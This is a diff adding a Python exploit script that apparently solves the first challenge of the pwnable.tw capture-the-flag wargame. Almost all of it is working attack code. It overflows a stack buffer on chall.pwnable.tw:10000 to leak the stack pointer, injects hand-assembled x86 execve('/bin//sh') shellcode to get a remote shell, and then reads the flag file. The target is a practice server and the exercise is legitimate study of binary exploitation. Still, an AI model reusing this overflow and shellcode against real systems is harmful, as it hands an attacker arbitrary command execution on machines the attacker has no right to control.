Challenge 1

challenges/1/hack.py

@@ -0,0 +1,50 @@
+import socket
+import binascii
+import struct
+import time
+
+def opcodify(hexstr):
+    return struct.pack('<I', hexstr)
+
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+sock.connect(('chall.pwnable.tw', 10000))
+# sock.connect(('localhost', 5000))
+print('{}'.format(sock.recv(4096)))
+
+print('Fetching ESP')
+
+buff = b'hack' * 5           # 20 chars
+buff += opcodify(0x08048087)
+print('Sending: {}'.format(buff))
+sock.send(buff)
+
+outp = sock.recv(4096)
+esp, = struct.unpack('<I', outp[:4])
+print('ESP: {}'.format(hex(esp)))
+
+print('Launching shell')
+buff = b'hack' * 5
+buff += opcodify(esp+20)
+buff += binascii.unhexlify('31C0')       # xor eax,eax
+buff += binascii.unhexlify('50')         # push eax
+buff += binascii.unhexlify('682F2F7368') # push dword 0x68732f2f
+buff += binascii.unhexlify('682F62696E') # push dword 0x6e69622f
+buff += binascii.unhexlify('89E3')       # mov ebx,esp
+buff += binascii.unhexlify('50')         # push eax
+buff += binascii.unhexlify('53')         # push ebx
+buff += binascii.unhexlify('89E1')       # mov ecx,esp
+buff += binascii.unhexlify('B00B')       # mov al,0xb
+buff += binascii.unhexlify('31D2')       # xor edx,edx
+buff += binascii.unhexlify('CD80')       # int 0x80
+
+print('Sending: {}'.format(buff))
+sock.send(buff)
+
+print('Fetching CTF flag')
+
+sock.send(b'cat /home/start/flag\n')
+print(sock.recv(4096).decode())
+
+sock.close()